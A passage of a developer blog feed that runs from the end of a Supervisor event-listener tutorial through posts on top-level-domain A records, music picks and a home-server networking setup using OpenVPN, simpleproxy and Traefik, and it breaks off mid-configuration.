<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">        #</span><span style="color: light-dark(#6A737D, #768390);"> transition from READY to ACKNOWLEDGED</span></span>
<span class="giallo-l"><span>        write_stdout</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">RESULT 2</span><span style="color: light-dark(#005CC5, #F47067);">\n</span><span style="color: light-dark(#032F62, #96D0FF);">OK</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>)</span></span>
<span class="giallo-l"><span>        logger</span><span>.</span><span>debug</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">It&#39;s all fine and dandy</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">if</span><span style="color: light-dark(#005CC5, #6CB6FF);"> __name__</span><span style="color: light-dark(#D73A49, #F47067);"> ==</span><span style="color: light-dark(#032F62, #96D0FF);"> &#39;</span><span style="color: light-dark(#032F62, #96D0FF);">__main__</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>:</span></span>
<span class="giallo-l"><span>    main</span><span>(</span><span>)</span></span></code></pre>
<p>Let us break this into pieces.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">write_stdout(</span><span style="color: light-dark(#6F42C1, #F69D50);">&#39;</span><span style="color: light-dark(#6F42C1, #F69D50);">READY\n</span><span style="color: light-dark(#6F42C1, #F69D50);">&#39;</span><span>)</span></span></code></pre>
<p>We flush <code>READY</code> with a linefeed character (<code>\n</code>) to <code>STDOUT</code>. Supervisor has put mylistener to <code>BUSY</code> state now.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">line</span><span style="color: light-dark(#032F62, #96D0FF);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> sys.stdin.readline</span><span>(</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">write_stderr(line</span><span>)</span></span></code></pre>
<p><code>line</code> would be the header which we discussed previously.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">data</span><span style="color: light-dark(#032F62, #96D0FF);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> sys.stdin.read</span><span>(</span><span style="color: light-dark(#6F42C1, #F69D50);">int(headers[</span><span style="color: light-dark(#6F42C1, #F69D50);">&#39;</span><span style="color: light-dark(#6F42C1, #F69D50);">len</span><span style="color: light-dark(#6F42C1, #F69D50);">&#39;</span><span style="color: light-dark(#6F42C1, #F69D50);">]</span><span>)</span><span>)</span></span></code></pre>
<p>This part is interesting. Here, we capture the <code>len</code> key from the header and read the next <code>STDIN</code> line up to this many chars. The <code>data</code> would consist of our event payload.
Event payload looks something like:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">processname:prog-restartv3_0</span><span style="color: light-dark(#032F62, #96D0FF);"> groupname:prog-restartv3</span><span style="color: light-dark(#032F62, #96D0FF);"> from_state:STOPPED</span><span style="color: light-dark(#032F62, #96D0FF);"> tries:0ver:3.0</span><span style="color: light-dark(#032F62, #96D0FF);"> server:supervisor</span><span style="color: light-dark(#032F62, #96D0FF);"> serial:25</span><span style="color: light-dark(#032F62, #96D0FF);"> pool:prog-restartv3</span><span style="color: light-dark(#032F62, #96D0FF);"> poolserial:3</span><span style="color: light-dark(#032F62, #96D0FF);"> eventname:PROCESS_STATE_STARTING</span><span style="color: light-dark(#032F62, #96D0FF);"> len:76</span><span style="color: light-dark(#032F62, #96D0FF);">`</span></span></code></pre><pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="python"><span class="giallo-l"><span>notify_user</span><span>(</span><span>)</span></span></code></pre>
<p>This is the handler where you can send an email, send a request to API, log it to file etc.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="python"><span class="giallo-l"><span>write_stdout</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">RESULT 2</span><span style="color: light-dark(#005CC5, #F47067);">\n</span><span style="color: light-dark(#032F62, #96D0FF);">OK</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>)</span></span></code></pre>
<p>Finally, we tell Supervisor to put the listener from <code>BUSY</code> to <code>ACKNOWLEDGED</code> state, by sending a result structure. The result could be <code>FAIL</code> or <code>OK</code>, so you need to send <code>RESULT</code> followed by the length of the state variable. For example for <code>OK</code> you will send <code>RESULT 2\nOK</code> but for <code>FAIL</code> you have to send <code>RESULT 4\nFAIL</code>.</p>
<p>That’s pretty much all you need to start receiving notifications from Supervisor every time your program changes its state. If you found this article useful, I’d love if you share this on <a rel="external" href="https://twitter.com/intent/tweet?url=https%3A%2F%2Fmr-karan.github.io%2Fposts%2Fsupervisor-notifications&amp;text=Receiving%20notifications%20from%20Supervisor">Twitter</a> or <a rel="external" href="https://www.facebook.com/sharer/sharer.php?u=https%3A%2F%2Fmr-karan.github.io%2Fposts%2Fsupervisor-notifications">Facebook</a> and let your friends know about it too.</p>
]]></content:encoded>
            <author>Karan Sharma</author>
        </item>
        <item>
            <title><![CDATA[Google owned TLDs don't have A records any more]]></title>
            <link>https://captnemo.in/blog/2018/06/02/google-tld-no-more-a-records/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2018/06/02/google-tld-no-more-a-records/</guid>
            <pubDate>Sat, 02 Jun 2018 00:00:00 GMT</pubDate>
            <description><![CDATA[A little while ago (Jan 2018), I ran a scan to see which all TLDs have an A record set (on the TLD). This is what lets you visit http://ai/ as a valid website on your browser, for eg.
I ran the same scan as http://blog.towo.eu/a-records-on-top-level-domains/ (link is down, archived) and the results are at https://captnemo.in/blog/2018/02/09/tld-a-records/.
Decided to re-run the scan today, and noticed a stark difference: A lot of Google-owned TLD’s which were earlier pointing to 127.0.53.53 don’t have a A record anymore.
Scan run from AS45609.
Results:
TLD
      IP
      Web
    
ai
      209.59.119.34
      [http], [https]
    
arab
      127.0.53.53
      Private IP
    
cm
      195.24.205.60
      [http], [https]
    
dk
      193.163.102.58
      [http], [https]
    
etisalat
      127.0.53.53
      Private IP
    
gg
      87.117.196.80
      [http], [https]
    
je
      87.117.196.80
      [http], [https]
    
pa
      168.77.8.43
      [http], [https]
    
pn
      80.68.93.100
      [http], [https]
    
politie
      127.0.53.53
      Private IP
    
tk
      217.119.57.22
      [http], [https]
    
uz
      91.212.89.8
      [http], [https]
    
ws
      64.70.19.33
      [http], [https]
    
мон
      218.100.84.27
      [http], [https]
    
мон
      202.170.80.40
      [http], [https]
    
мон
      180.149.98.78
      [http], [https]
    
اتصالات
      127.0.53.53
      Private IP
    
政府
      127.0.53.53
      Private IP
    
عرب
      127.0.53.53
      Private IP
    
招聘
      127.0.53.53
      Private IP
    
Comparing with the previous scan, these TLDs no longer have an A record with them:

-android
-cal
-chrome
-dclk
-drive
-gle
-guge
-hangout
-nexus
-play
-sport
-谷歌
-グーグル


The majority of these are owned by Google. Not claiming it means anything, just a nice observation.
Update: An automatically updated version of this is available at https://captnemo.in/tld-a-record/]]></description>
            <content:encoded><![CDATA[<p>A little while ago (Jan 2018), I ran a scan to see which all TLDs have an A record set (on the TLD). This is what lets you visit <a href="http://ai/">http://ai/</a> as a valid website on your browser, for eg.</p>

<p>I ran the same scan as http://blog.towo.eu/a-records-on-top-level-domains/ (link is down, <a href="https://web.archive.org/web/*/http://blog.towo.eu/a-records-on-top-level-domains/">archived</a>) and the results are at <a href="https://captnemo.in/blog/2018/02/09/tld-a-records/">https://captnemo.in/blog/2018/02/09/tld-a-records/</a>.</p>

<p>Decided to re-run the scan today, and noticed a stark difference: A lot of Google-owned TLD’s which were earlier pointing to <code class="language-plaintext highlighter-rouge">127.0.53.53</code> don’t have a A record anymore.</p>

<p>Scan run from <code class="language-plaintext highlighter-rouge">AS45609</code>.</p>

<p>Results:</p>

<table>
  <thead>
    <tr>
      <th>TLD</th>
      <th>IP</th>
      <th>Web</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>ai</td>
      <td>209.59.119.34</td>
      <td><a href="http://ai">[http]</a>, <a href="https://ai">[https]</a></td>
    </tr>
    <tr>
      <td>arab</td>
      <td>127.0.53.53</td>
      <td>Private IP</td>
    </tr>
    <tr>
      <td>cm</td>
      <td>195.24.205.60</td>
      <td><a href="http://cm">[http]</a>, <a href="https://cm">[https]</a></td>
    </tr>
    <tr>
      <td>dk</td>
      <td>193.163.102.58</td>
      <td><a href="http://dk">[http]</a>, <a href="https://dk">[https]</a></td>
    </tr>
    <tr>
      <td>etisalat</td>
      <td>127.0.53.53</td>
      <td>Private IP</td>
    </tr>
    <tr>
      <td>gg</td>
      <td>87.117.196.80</td>
      <td><a href="http://gg">[http]</a>, <a href="https://gg">[https]</a></td>
    </tr>
    <tr>
      <td>je</td>
      <td>87.117.196.80</td>
      <td><a href="http://je">[http]</a>, <a href="https://je">[https]</a></td>
    </tr>
    <tr>
      <td>pa</td>
      <td>168.77.8.43</td>
      <td><a href="http://pa">[http]</a>, <a href="https://pa">[https]</a></td>
    </tr>
    <tr>
      <td>pn</td>
      <td>80.68.93.100</td>
      <td><a href="http://pn">[http]</a>, <a href="https://pn">[https]</a></td>
    </tr>
    <tr>
      <td>politie</td>
      <td>127.0.53.53</td>
      <td>Private IP</td>
    </tr>
    <tr>
      <td>tk</td>
      <td>217.119.57.22</td>
      <td><a href="http://tk">[http]</a>, <a href="https://tk">[https]</a></td>
    </tr>
    <tr>
      <td>uz</td>
      <td>91.212.89.8</td>
      <td><a href="http://uz">[http]</a>, <a href="https://uz">[https]</a></td>
    </tr>
    <tr>
      <td>ws</td>
      <td>64.70.19.33</td>
      <td><a href="http://ws">[http]</a>, <a href="https://ws">[https]</a></td>
    </tr>
    <tr>
      <td>мон</td>
      <td>218.100.84.27</td>
      <td><a href="http://мон">[http]</a>, <a href="https://мон">[https]</a></td>
    </tr>
    <tr>
      <td>мон</td>
      <td>202.170.80.40</td>
      <td><a href="http://мон">[http]</a>, <a href="https://мон">[https]</a></td>
    </tr>
    <tr>
      <td>мон</td>
      <td>180.149.98.78</td>
      <td><a href="http://мон">[http]</a>, <a href="https://мон">[https]</a></td>
    </tr>
    <tr>
      <td>اتصالات</td>
      <td>127.0.53.53</td>
      <td>Private IP</td>
    </tr>
    <tr>
      <td>政府</td>
      <td>127.0.53.53</td>
      <td>Private IP</td>
    </tr>
    <tr>
      <td>عرب</td>
      <td>127.0.53.53</td>
      <td>Private IP</td>
    </tr>
    <tr>
      <td>招聘</td>
      <td>127.0.53.53</td>
      <td>Private IP</td>
    </tr>
  </tbody>
</table>

<p>Comparing with the previous scan, these TLDs no longer have an A record with them:</p>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">-android
-cal
-chrome
-dclk
-drive
-gle
-guge
-hangout
-nexus
-play
-sport
-谷歌
-グーグル
</span></code></pre></div></div>

<p>The majority of these are owned by Google. Not claiming it means anything, just a nice observation.</p>

<p><em>Update</em>: An automatically updated version of this is available at https://captnemo.in/tld-a-record/</p>
]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[Bi-Weekly Music Post Part 1]]></title>
            <link>https://mrkaran.dev/posts/biweekly-music-part-1/</link>
            <guid isPermaLink="false">https://mrkaran.dev/posts/biweekly-music-part-1/</guid>
            <pubDate>Mon, 28 May 2018 15:00:55 GMT</pubDate>
            <description><![CDATA[I listen to a lot of music artists while working or otherwise. I plan to share some of the gems I discover each week. Thanks to Spotify and Youtube suggestions, I keep discovering a lot of indie artists and underrated titles. I hope you give them a listen and spread some good music in your circle.
Tere Jeya Hor Disda#

Awari#

Magpie Jay - Bigfoot#

The Local Train - Dilnawaz#

a-ha - Take On Me#

Lord Huron - The Night We Met#

Snowmine - Let me in#

Glass Animals - Pork Soda#

If you liked the above recommendations or you want to share moar music which I should definitely listen to, tweet to me @mrkaran_
Fin!]]></description>
            <content:encoded><![CDATA[<p>I listen to a <em>lot</em> of music artists while working or otherwise. I plan to share some of the gems I discover each week. Thanks to Spotify and Youtube suggestions, I keep discovering a lot of indie artists and underrated titles. I hope you give them a listen and spread some good music in your circle.</p>
<h3 id="tere-jeya-hor-disda">Tere Jeya Hor Disda<a class="zola-anchor" href="#tere-jeya-hor-disda" aria-label="Anchor link for: tere-jeya-hor-disda">#</a></h3>
<p><a rel="external" href="https://www.youtube.com/watch?v=d_gZTh-HrZE"><img src="https://img.youtube.com/vi/d_gZTh-HrZE/0.jpg" alt="Tere Jeya Hor Disda" /></a></p>
<h3 id="awari">Awari<a class="zola-anchor" href="#awari" aria-label="Anchor link for: awari">#</a></h3>
<p><a rel="external" href="https://www.youtube.com/watch?v=dPAqQI_kOng"><img src="https://img.youtube.com/vi/dPAqQI_kOng/0.jpg" alt="Awari" /></a></p>
<h3 id="magpie-jay-bigfoot">Magpie Jay - Bigfoot<a class="zola-anchor" href="#magpie-jay-bigfoot" aria-label="Anchor link for: magpie-jay-bigfoot">#</a></h3>
<p><a rel="external" href="https://www.youtube.com/watch?v=kXCPLYeDXSI"><img src="https://img.youtube.com/vi/kXCPLYeDXSI/0.jpg" alt="Magpie Jay - Bigfoot" /></a></p>
<h3 id="the-local-train-dilnawaz">The Local Train - Dilnawaz<a class="zola-anchor" href="#the-local-train-dilnawaz" aria-label="Anchor link for: the-local-train-dilnawaz">#</a></h3>
<p><a rel="external" href="https://www.youtube.com/watch?v=-gKBXwXBUbk"><img src="https://img.youtube.com/vi/-gKBXwXBUbk/0.jpg" alt="The Local Train - Dilnawaz" /></a></p>
<h3 id="a-ha-take-on-me">a-ha - Take On Me<a class="zola-anchor" href="#a-ha-take-on-me" aria-label="Anchor link for: a-ha-take-on-me">#</a></h3>
<p><a rel="external" href="https://www.youtube.com/watch?v=djV11Xbc914"><img src="https://img.youtube.com/vi/djV11Xbc914/0.jpg" alt="a-ha - Take On Me" /></a></p>
<h3 id="lord-huron-the-night-we-met">Lord Huron - The Night We Met<a class="zola-anchor" href="#lord-huron-the-night-we-met" aria-label="Anchor link for: lord-huron-the-night-we-met">#</a></h3>
<p><a rel="external" href="https://www.youtube.com/watch?v=KtlgYxa6BMU"><img src="https://img.youtube.com/vi/KtlgYxa6BMU/0.jpg" alt="Lord Huron - The Night We Met" /></a></p>
<h3 id="snowmine-let-me-in">Snowmine - Let me in<a class="zola-anchor" href="#snowmine-let-me-in" aria-label="Anchor link for: snowmine-let-me-in">#</a></h3>
<p><a rel="external" href="https://www.youtube.com/watch?v=_y3GfgcgB_E"><img src="https://img.youtube.com/vi/_y3GfgcgB_E/0.jpg" alt="Snowmine - Let me in" /></a></p>
<h3 id="glass-animals-pork-soda">Glass Animals - Pork Soda<a class="zola-anchor" href="#glass-animals-pork-soda" aria-label="Anchor link for: glass-animals-pork-soda">#</a></h3>
<p><a rel="external" href="https://www.youtube.com/watch?v=78DVtcsT26k"><img src="https://img.youtube.com/vi/78DVtcsT26k/0.jpg" alt="Glass Animals - Pork Soda" /></a></p>
<p>If you liked the above recommendations or you want to share moar music which I should definitely listen to, tweet to me <a rel="external" href="https://twitter.com/mrkaran_">@mrkaran_</a></p>
<p>Fin!</p>
]]></content:encoded>
            <author>Karan Sharma</author>
        </item>
        <item>
            <title><![CDATA[Home Server Networking]]></title>
            <link>https://captnemo.in/blog/2018/04/22/home-server-networking/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2018/04/22/home-server-networking/</guid>
            <pubDate>Sun, 22 Apr 2018 00:00:00 GMT</pubDate>
            <description><![CDATA[Next in the Home Server series, this post documents how I got the networking setup to
serve content publicly from my under-the-tv server.

Background
My home server runs on a mix of Docker/Traefik orchestrated via Terraform. The source code is
at https://git.captnemo.in/nemo/nebula (self-hosted, dogfooding FTW!) if you wanna take a look.
The ISP is ACT Bangalore1. They offer decent bandwidth and I’ve been a customer long time.
Public Static IP
In order to host content, you need a stable public IP. Unfortunately, ACT puts all of its customers
in Bangalore behind a NAT 2. As a result, I decided to get a Floating IP from Digital Ocean 3.
The Static IP is attached to a cheap Digital Ocean Droplet (10$/mo). If you resolve bb8.fun, this is the IP you will get:

Name:   bb8.fun
Address: 139.59.48.222


The droplet has a public static IP of it’s own as well: 139.59.22.234. The reason I picked a Floating IP is because DO gives them for free, and I can switch between instances later without worrying about it.
Floating IP
On the Digital Ocean infrastructure side, this IP is not directly attached to an interface on your droplet. Instead,
DO uses something called “Anchor IP”:
Network traffic between a Floating IP and a Droplet flows through an anchor IP, which is an IP address aliased to the Droplet’s public network interface (eth0). You should bind any public services that you want to make highly available through a Floating IP to the anchor IP.
So, now my Droplet has 2 different IPs that I can use:
Droplet Public IP (139.59.22.234), assigned directly to the eth0 interface.
Droplet Anchor IP (10.47.0.5), setup as an alias to the eth0 interface.
This doubles the number of services I can listen to. I could have (for eg) - 2 different webservers
on both of these IPs.
OpenVPN
In order to establish NAT-punching connectivity between the Droplet and the Home Server, I run OpenVPN server
on the Droplet and openvpn-client on the homeserver.4
The Digital Ocean Guide is a great resource if you ever have to do this. 2 specific IPs on the OpenVPN
network are marked as static:
Droplet: 10.8.0.1
Home Server: 10.8.0.14
Home Server - Networking
The server has a private static IP assigned to its eth0 interface
It also has a private static IP assiged to its tun0 interface
There are primarily 3 kinds of services that I like to run:
Accessible only from within the home network (Timemachine backups, for eg) (Internal). This I publish on the eth0 interface.
Accessible only from the public internet (Wiki) (Strictly Public). These I publish on the tun0 interface and proxy via the droplet.
Accessible from both places (Emby, AirSonic) (Public). These I pubish on both tun0 and the eth0 interface on the homeserver.
Docker Networking Basics
Docker runs its own internal network for services, and lets you “publish” these services
by forwarding traffic from a given interface to them.
In plain docker-cli, this would be:
docker run nginx --publish 443:443,80:80 (forward traffic on 443,80 on all interfaces to the container)
Since I use Terraform, it looks like the following for Traefik:

# Admin Backend
ports {
  internal = 1111
  external = 1111
  ip       = "${var.ips["eth0"]}"
}

ports {
  internal = 1111
  external = 1111
  ip       = "${var.ips["tun0"]}"
}

# Local Web Server
ports {
  internal = 80
  external = 80
  ip       = "${var.ips["eth0"]}"
}

# Local Web Server (HTTPS)
ports {
  internal = 443
  external = 443
  ip       = "${var.ips["eth0"]}"
}

# Proxied via sydney.captnemo.in
ports {
  internal = 443
  external = 443
  ip       = "${var.ips["tun0"]}"
}

ports {
  internal = 80
  external = 80
  ip       = "${var.ips["tun0"]}"
}


There are 3 “services” exposed by Traefik on 3 ports:
Traefik Admin Interface
  Useful for debugging. I leave this in Read-Only mode with no authentication. This is an Internal service
  HTTP, Port 80
  This redirects users to the next entrypoint (HTTPS). This is a Public service.
  HTTPS, Port 443
  This is where most of the traefik flows. This is a Public service.


For all 3 of the above, Docker forwards traffic from both OpenVPN, as well as the home network. OpenVPN lets me access this from my laptop when I’m not at home, which is helpful for debugging issues. However, to keep the Admin Interface internal, it is not published to the internet.
Internet Access
The “bridge” between the Floating IP and the OpenVPN IP (both on the Digital Ocean droplet) is simpleproxy. It is a barely-maintained 200 line TCP-proxy. I picked it up because of its ease of use as a TCP Proxy. I specifically looked for a TCP Proxy because:
I did not want to terminate SSL on Digital Ocean, since Traefik was already doing LetsEncrypt cert management for me
I also wanted to proxy non-web services (more below).
The simpleproxy configuration consists of a few systemd units:

[Service]
Type=simple
WorkingDirectory=/tmp
# Forward Anchor IP 80 -> Home Server VPN 80
ExecStart=/usr/bin/simpleproxy -L 10.47.0.5:80 -R 10.8.0.14:80
Restart=on-abort

[Install]
WantedBy=multi-user.target

[Unit]
Description=Simple Proxy
After=network.target


I run 3 of these: 2 for HTTP/HTTPS, and another one for SSH.
While I use simpleproxy for its stability and simplicity, you could also use iptables to
achieve the same result.
SSH Tunelling
When I’m on the go, there are 3 different SSH services I might need:
Digital Ocean Droplet
Home Server
Git (gitea runs its own internal git server)
My initial plan was:
Forward Port 22 Floating IP Traffic to Gitea.
Use the eth0 interface on the droplet to run the droplet sshd service.
Keep the Home Server SSH forwarded to OpenVPN, so I can access it over the VPN network.
Unfortunately, that didn’t work out well, because sshd doesn’t support listening on an Interface. I could have used the Public Droplet IP, but I didn’t like the idea.
The current setup instead involves:
Running the droplet sshd on a separate port entirely (2222).
The simpleproxy service forwarding port 22 traefik to 2222 on OpenVPN IP which is then published by Docker to the gitea container’s port 22.
The complete traefik configuration is also available if you wanna look at the entrypoints in detail.
Caveats
Traefik Public Access
You might have noticed that because traefik is listening on both eth0 and tun0, there is no guarantee of a “strictly internal” service via Traefik. Traefik just uses the Host headers in the request (or SNI) to determine the container to which it needs to forward the request. I use *.in.bb8.fun for internaly accessible services, and *.bb8.fun for public. But if someone decides to spoof the headers, they can access the Internal service.
Since I’m aware of the risk, I do not publish anything via traefik that I’m not comfortable putting on the internet. Only a couple of services are marked as “internal-also”, and are published on both. Services like Prometheus are not published via Traefik.
2 Servers
Running and managing 2 servers takes a bit more effort, and has more moving parts.
But I use the droplet for other tasks as well (running my DNSCrypt Server, for eg).
Original IP Address
Since SimpleProxy does not support the Proxy Protocol,
both Traefik and Gitea/SSH servers don’t get informed about the original IP Address. I plan to fix that by switching to HAProxy TCP-mode.
If you’re interested in my self-hosting setup, I’m using Terraform + Docker, the code is hosted on the same server, and I’ve been writing about my experience and learnings:
Part 1, Hardware
Part 2, Terraform/Docker
Part 3, Learnings
Part 4, Migrating from Google (and more)
Part 5, Home Server Networking
Part 6, btrfs RAID device replacement
If you have any comments, reach out to me
If you get lucky with their customer support, some of the folks I know have a static public IP on their home setup. In my case, they asked me to upgrade to a corporate plan. ↩
I once scanned their entire network using masscan. It was fun: https://medium.com/@captn3m0/i-scanned-all-of-act-bangalore-customers-and-the-results-arent-surprising-fecf9d7fe775 ↩
AWS calls its “permanent” IP addresses “Elastic” and Digital Ocean calls them “Floating”. We really need better names in this industry. ↩
Migrating to Wireguard is on my list, but I haven’t found any good documentation on running a hub-spoke network so far. ↩]]></description>
            <content:encoded><![CDATA[<p>Next in the Home Server series, this post documents how I got the networking setup to
serve content publicly from my under-the-tv server.</p>

<p><img src="https://captnemo.in/img/networking.jpg" alt="Colorful block diagram for the networking setup" /></p>

<h2 id="background">Background</h2>

<p>My home server runs on a mix of Docker/Traefik orchestrated via Terraform. The source code is
at <a href="https://git.captnemo.in/nemo/nebula">https://git.captnemo.in/nemo/nebula</a> (self-hosted, dogfooding FTW!) if you wanna take a look.</p>

<p>The ISP is ACT Bangalore<sup id="fnref:1"><a href="#fn:1" class="footnote" rel="footnote" role="doc-noteref">1</a></sup>. They offer decent bandwidth and I’ve been a customer long time.</p>

<h2 id="public-static-ip">Public Static IP</h2>

<p>In order to host content, you need a stable public IP. Unfortunately, ACT puts all of its customers
in Bangalore behind a NAT <sup id="fnref:2"><a href="#fn:2" class="footnote" rel="footnote" role="doc-noteref">2</a></sup>. As a result, I decided to get a <a href="https://www.digitalocean.com/community/tutorials/how-to-use-floating-ips-on-digitalocean">Floating IP from Digital Ocean</a> <sup id="fnref:3"><a href="#fn:3" class="footnote" rel="footnote" role="doc-noteref">3</a></sup>.</p>

<p>The Static IP is attached to a cheap Digital Ocean Droplet (10$/mo). If you resolve <code class="language-plaintext highlighter-rouge">bb8.fun</code>, this is the IP you will get:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Name:   bb8.fun
Address: 139.59.48.222
</code></pre></div></div>

<p>The droplet has a public static IP of it’s own as well: <code class="language-plaintext highlighter-rouge">139.59.22.234</code>. The reason I picked a Floating IP is because DO gives them for free, and I can switch between instances later without worrying about it.</p>

<h2 id="floating-ip">Floating IP</h2>

<p>On the Digital Ocean infrastructure side, this IP is not directly attached to an interface on your droplet. Instead,
DO uses something called “Anchor IP”:</p>

<blockquote>
  <p>Network traffic between a Floating IP and a Droplet flows through an anchor IP, which is an IP address aliased to the Droplet’s public network interface (eth0). You should bind any public services that you want to make highly available through a Floating IP to the anchor IP.</p>
</blockquote>

<p>So, now my Droplet has 2 different IPs that I can use:</p>

<ol>
  <li>Droplet Public IP (<code class="language-plaintext highlighter-rouge">139.59.22.234</code>), assigned directly to the <code class="language-plaintext highlighter-rouge">eth0</code> interface.</li>
  <li>Droplet Anchor IP (<code class="language-plaintext highlighter-rouge">10.47.0.5</code>), setup as an alias to the <code class="language-plaintext highlighter-rouge">eth0</code> interface.</li>
</ol>

<p>This doubles the number of services I can listen to. I could have (for eg) - 2 different webservers
on both of these IPs.</p>

<h2 id="openvpn">OpenVPN</h2>

<p>In order to establish NAT-punching connectivity between the Droplet and the Home Server, I run OpenVPN server
on the Droplet and <code class="language-plaintext highlighter-rouge">openvpn-client</code> on the homeserver.<sup id="fnref:4"><a href="#fn:4" class="footnote" rel="footnote" role="doc-noteref">4</a></sup></p>

<p>The <a href="https://www.digitalocean.com/community/tutorials/how-to-set-up-an-openvpn-server-on-ubuntu-16-04" title="by Justin Ellingwood">Digital Ocean Guide</a> is a great resource if you ever have to do this. 2 specific IPs on the OpenVPN
network are marked as static:</p>

<ol>
  <li>Droplet: <code class="language-plaintext highlighter-rouge">10.8.0.1</code></li>
  <li>Home Server: <code class="language-plaintext highlighter-rouge">10.8.0.14</code></li>
</ol>

<h2 id="home-server---networking">Home Server - Networking</h2>

<ul>
  <li>The server has a private static IP assigned to its <code class="language-plaintext highlighter-rouge">eth0</code> interface</li>
  <li>It also has a private static IP assiged to its <code class="language-plaintext highlighter-rouge">tun0</code> interface</li>
</ul>

<p>There are primarily 3 kinds of services that I like to run:</p>

<ol>
  <li>Accessible only from within the home network (Timemachine backups, for eg) (Internal). This I publish on the <code class="language-plaintext highlighter-rouge">eth0</code> interface.</li>
  <li>Accessible only from the public internet (Wiki) (Strictly Public). These I publish on the <code class="language-plaintext highlighter-rouge">tun0</code> interface and proxy via the droplet.</li>
  <li>Accessible from both places (Emby, AirSonic) (Public). These I pubish on both <code class="language-plaintext highlighter-rouge">tun0</code> and the <code class="language-plaintext highlighter-rouge">eth0</code> interface on the homeserver.</li>
</ol>

<h2 id="docker-networking-basics">Docker Networking Basics</h2>

<p>Docker runs its own internal network for services, and lets you “publish” these services
by forwarding traffic from a given interface to them.</p>

<p>In plain docker-cli, this would be:</p>

<p><code class="language-plaintext highlighter-rouge">docker run nginx --publish 443:443,80:80</code> (forward traffic on 443,80 on all interfaces to the container)</p>

<p>Since I use Terraform, it looks <a href="https://git.captnemo.in/nemo/nebula/src/branch/master/docker/traefik.tf">like the following for Traefik</a>:</p>

<div class="language-perl highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># Admin Backend</span>
<span class="nv">ports</span> <span class="p">{</span>
  <span class="nv">internal</span> <span class="o">=</span> <span class="mi">1111</span>
  <span class="nv">external</span> <span class="o">=</span> <span class="mi">1111</span>
  <span class="nv">ip</span>       <span class="o">=</span> <span class="p">"</span><span class="si">${var</span><span class="err">.</span><span class="si">ips</span><span class="err">["</span><span class="si">eth0</span><span class="err">"]</span><span class="si">}</span><span class="p">"</span>
<span class="p">}</span>

<span class="nv">ports</span> <span class="p">{</span>
  <span class="nv">internal</span> <span class="o">=</span> <span class="mi">1111</span>
  <span class="nv">external</span> <span class="o">=</span> <span class="mi">1111</span>
  <span class="nv">ip</span>       <span class="o">=</span> <span class="p">"</span><span class="si">${var</span><span class="err">.</span><span class="si">ips</span><span class="err">["</span><span class="si">tun0</span><span class="err">"]</span><span class="si">}</span><span class="p">"</span>
<span class="p">}</span>

<span class="c1"># Local Web Server</span>
<span class="nv">ports</span> <span class="p">{</span>
  <span class="nv">internal</span> <span class="o">=</span> <span class="mi">80</span>
  <span class="nv">external</span> <span class="o">=</span> <span class="mi">80</span>
  <span class="nv">ip</span>       <span class="o">=</span> <span class="p">"</span><span class="si">${var</span><span class="err">.</span><span class="si">ips</span><span class="err">["</span><span class="si">eth0</span><span class="err">"]</span><span class="si">}</span><span class="p">"</span>
<span class="p">}</span>

<span class="c1"># Local Web Server (HTTPS)</span>
<span class="nv">ports</span> <span class="p">{</span>
  <span class="nv">internal</span> <span class="o">=</span> <span class="mi">443</span>
  <span class="nv">external</span> <span class="o">=</span> <span class="mi">443</span>
  <span class="nv">ip</span>       <span class="o">=</span> <span class="p">"</span><span class="si">${var</span><span class="err">.</span><span class="si">ips</span><span class="err">["</span><span class="si">eth0</span><span class="err">"]</span><span class="si">}</span><span class="p">"</span>
<span class="p">}</span>

<span class="c1"># Proxied via sydney.captnemo.in</span>
<span class="nv">ports</span> <span class="p">{</span>
  <span class="nv">internal</span> <span class="o">=</span> <span class="mi">443</span>
  <span class="nv">external</span> <span class="o">=</span> <span class="mi">443</span>
  <span class="nv">ip</span>       <span class="o">=</span> <span class="p">"</span><span class="si">${var</span><span class="err">.</span><span class="si">ips</span><span class="err">["</span><span class="si">tun0</span><span class="err">"]</span><span class="si">}</span><span class="p">"</span>
<span class="p">}</span>

<span class="nv">ports</span> <span class="p">{</span>
